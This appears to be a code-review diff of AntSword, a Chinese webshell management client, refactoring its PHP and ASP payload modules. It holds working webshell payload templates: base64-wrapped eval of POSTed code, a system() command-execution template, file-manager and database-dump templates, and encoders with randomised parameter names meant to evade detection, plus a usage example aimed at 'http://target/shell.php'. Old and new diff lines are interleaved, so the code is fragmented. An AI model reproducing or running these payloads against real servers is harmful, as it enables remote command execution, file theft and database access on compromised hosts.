* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete(data) {
// 分隔符号
let tag_s = '->|';
let tag_e = '|<-';
// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = ASP;
\ No newline at end of file
module.exports = CUSTOM;
//
//
// 基础信息模板
// 获取:当前路径、磁盘列表
//
//
module.exports = {
module.exports = () => ({
info: 'A'
}
\ No newline at end of file
})
//
// 命令执行模板
//
//
module.exports = {
module.exports = () => ({
exec: {
_: 'M',
'z1': '#{bin}',
'z2': '#{cmd}'
}
}
\ No newline at end of file
})
......@@ -8,7 +8,7 @@
// :db 数据库名
// :table 表名
module.exports = {
module.exports = () => ({
show_databases: {
_: 'N',
'z0': '#{encode}',
......@@ -33,4 +33,4 @@ module.exports = {
'z1': '#{conn}',
'z2': '#{sql}'
}
}
})
//
//
// 文件管理模板
//
//
module.exports = {
module.exports = () => ({
dir: {
_: 'B',
'z1': '#{path}'
......@@ -63,4 +63,4 @@ module.exports = {
'z1': '#{url}',
'z2': '#{path}'
}
}
\ No newline at end of file
})
/**
* 中国蚁剑::核心模块
* 开写:2016/04/12
* 更新:-
* 作者:蚁逅 <https://github.com/antoor>
*/
'use strict';
class Core {
/**
* AntSword Core init
* @return {object} 子模块操作对象
*/
constructor() {
// 加载子模块列表
let cores = {};
['php', 'asp', 'aspx', 'custom'].map((_) => {
cores[_] = require(`./${_}/index`);
});
// 返回子模块对象
return cores;
}
}
module.exports = new Core();
//
// php::base64 编码模块
//
/**
* php::base64编码器
* ? 利用php的base64_decode进行编码处理
*/
'use strict';
module.exports = (pwd, data) => {
const randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
\ No newline at end of file
}
//
// encoder::chr
//
// chr编码器
// --------
// 利用php函数`chr`进行编码处理
//
/**
* php::chr编码器
* ? 利用php的chr函数进行编码处理
*/
'use strict'
module.exports = (pwd, data) => {
......@@ -25,4 +23,4 @@ module.exports = (pwd, data) => {
// 返回数据
return data;
}
\ No newline at end of file
}
//
// 代码模板::php
//
/*
用法:
const php = new PHP({
url: 'http://target/shell.php',
pwd: 'shell',
encode: 'gbk',
encoder: 'base64'
});
/**
* PHP服务端脚本模板
* 开写:2016/04/12
* 更新:-
* 作者:蚁逅 <https://github.com/antoor>
*/
'use strict';
// 基本信息
php.base.info((ret) => {
});
// 执行命令
php.command.system({
cmd:'whoami',
bin: '/bin/sh'
}, (ret) => {
});
...
*/
const iconv = global.require('iconv-lite');
class PHP {
import Base from '../base';
class PHP extends Base {
constructor(opts) {
this.__opts__ = opts;
this.parseTpl([
super(opts);
// 解析模板
[
'base', 'command', 'filemanager',
'database/mysql',
'database/mssql',
'database/oracle',
'database/informix'
]);
this.parseEnr(['base64', 'chr']);
}
// 格式化函数
format() {
const encode = this.__opts__['encode'] || 'utf8';
return {
base64: (str) => {
// 编码
const _str_ = iconv.encode(new Buffer(str), encode);
return new Buffer(_str_).toString('base64');
},
// 转换为16进制::编码
hex: (b) => {
// let ret = [];
const buff = iconv.encode(new Buffer(b), encode);
return new Buffer(buff).toString('hex').toUpperCase();
// buff.toJSON()['data'].map((i) => {
// let _ = i.toString(16);
// _.length < 2 ? _ = `0${_}` : null;
// ret.push(_);
// });
// return ret.join('').toUpperCase();
},
// 转换为16进制::不编码
buffer: (b) => {
return new Buffer(b).toString('hex').toUpperCase();
// let ret = [];
// b.toJSON()['data'].map((i) => {
// let _ = i.toString(16);
// _.length < 2 ? _ = `0${_}` : null;
// ret.push(_);
// });
// return ret.join('').toUpperCase();
}
};
}
// 解析模板
parseTpl(tpl) {
let _export = {};
// 模板格式化函数
const format = this.format();
// 加载模板代码
tpl.map((t) => {
// 解析模板
this[t.replace(/\//g, '_')] = {};
let m = require(`./template/${t}`);
for (let _ in m) {
this[t.replace(/\//g, '_')][_] = ( (c) => {
// 如果需要参数
if (typeof(c) === 'object') {
return (argv, success, error, hook) => {
let data = $.extend({}, c);
// 格式化参数
for (let d in data) {
(data[d].match(/#{([\w\:]+)}/g) || []).map( (tag) => {
let _t = tag.substr(2, tag.length - 3);
// 如果需要字符处理
let _f = _t.split('::');
let _ff;
if ((_f.length > 0) && (_ff = format[_f[0]])) {
// _t = _ff(argv[_f[1]] || _t);
_t = _ff(argv[_f[1]] || '');
}else{
// _t = argv[_t] || _t;
_t = argv[_t] || '';
}
data[d] = data[d].replace(tag, _t)
} );
}
this.ajax(data, success, error, hook);
}
}else{
let data = {
_: c
};
return (success, error, hook) => {
this.ajax(data, success, error, hook);
}
}
} )(m[_]);
}
].map((_) => {
this.parseTemplate(`./php/template/${_}`);
});
}
// 解析编码模块
parseEnr(edr) {
let encoder = {
// 默认编码器
default: (pwd, data) => {
data[pwd] = data['_'];
delete data['_'];
return data;
}
};
edr.map((_) => {
encoder[_] = require(`./encoder/${_}`);
// 解析编码器
[
'chr', 'base64'
].map((_) => {
this.parseEncoder(`./php/encoder/${_}`);
});
this.__encoder__ = encoder;
}
ajax(code, success, error, hook) {
// 补全代码
let post = $.extend({}, code);
// 随机ID(用于监听数据来源)
const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_');
const tag_s = '-=:{';
const tag_e = '}:=-';
const encode = this.__opts__['encode'] || 'utf8';
post['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);echo "${tag_s}";${post['_']};echo "${tag_e}";die();`;
// 编码处理模板
const encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default'];
const data = encoder(this.__opts__['pwd'], post);
// 监听数据返回
antSword['ipcRenderer']
// 请求完毕返回数据{text,buff}
.on(`request-${hash}`, (event, arg) => {
success(arg['text'], arg['buff']);
})
// HTTP请求返回字节流
.on(`request-chunk-${hash}`, (event, ret) => {
hook ? hook(ret) : null;
})
// 数据请求错误
.on(`request-error-${hash}`, (event, ret) => {
error ? error(ret) : null;
})
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: data,
tag_s: tag_s,
tag_e: tag_e,
encode: encode
});
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete(data) {
// 分隔符号
let tag_s = "->|";
let tag_e = "|<-";
// 组合完整的代码
let tmpCode = data['_'];
data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);echo "${tag_s}";${tmpCode};echo "${tag_e}";die();`;
// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = PHP;
\ No newline at end of file
module.exports = PHP;
/**
* 在模板中使用
* 1. 加载需要的参数列表: import { arg1, arg2, arg3 } from './argv';
* 2. 嵌入代码参数中:codes={[arg1]: `echo "${arg1}";`}...
**/
const random = () => `0x${(Math.random() + Math.random()).toString(16).substr(2)}`;
export const arg1 = random();
export const arg2 = random();
export const arg3 = random();
export const arg4 = random();
export const arg5 = random();
export const arg6 = random();
\ No newline at end of file
//
// 基础信息模板
// :用于获取系统信息、当前用户、路径、盘符列表
//
/**
* 基础信息模板
* ? 获取系统信息、当前用户、当前路径、盘符列表
*/
module.exports = {
module.exports = () => ({
info:
`$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;`
}
\ No newline at end of file
})
//
// 命令执行模板
// :默认使用`exec`代码模板
//
/**
* 虚拟终端命令执行
*/
import { arg1, arg2 } from './argv';
module.exports = {
module.exports = (arg1, arg2) => ({
exec: {
_:
`$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"ret={$ret}":"";`,
......@@ -19,4 +16,4 @@ module.exports = {
[arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}"
}
}
\ No newline at end of file
})
//
// 数据库管理模板::informix
//
// :分隔符为 -> \t|\t
/**
* 数据库管理模板::informix
* i 数据分隔符号 => \t|\t
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -45,4 +40,4 @@ module.exports = {
[arg4]: '#{db}',
[arg5]: '#{base64::sql}'
}
}
\ No newline at end of file
})
//
// 数据库管理模板::mssql
//
// :分隔符为 -> \t|\t
/**
* 数据库管理模板::mssql
* i 数据分隔符号 => \t|\t
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -46,4 +41,4 @@ module.exports = {
[arg4]: '#{db}',
[arg5]: '#{base64::sql}'
}
}
\ No newline at end of file
})
//
// 数据库管理模板::mysql
//
// :分隔符为 -> \t|\t
/**
* 数据库管理模板::mysql
* i 数据分隔符号 => \t|\t
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -47,4 +42,4 @@ module.exports = {
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
}
\ No newline at end of file
})
//
// 数据库管理模板::oracle
//
// :分隔符为 -> \t|\t
/**
* 数据库管理模板::oracle
* i 数据分隔符号 => \t|\t
*/
import {
arg1, arg2, arg3,
arg4, arg5, arg6
} from '../argv';
module.exports = {
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
......@@ -45,4 +40,4 @@ module.exports = {
[arg4]: '#{db}',
[arg5]: '#{base64::sql}'
}
}
\ No newline at end of file
})
//
// 文件管理模板
//
/**
* 文件管理模板
*/
import { arg1, arg2, arg3 } from './argv';
module.exports = {
module.exports = (arg1, arg2, arg3) => ({
dir: {
_:
`$D=base64_decode($_POST["${arg1}"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`,
......@@ -76,4 +74,4 @@ module.exports = {
[arg1]: "#{base64::url}",
[arg2]: "#{base64::path}"
}
}
\ No newline at end of file
})
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment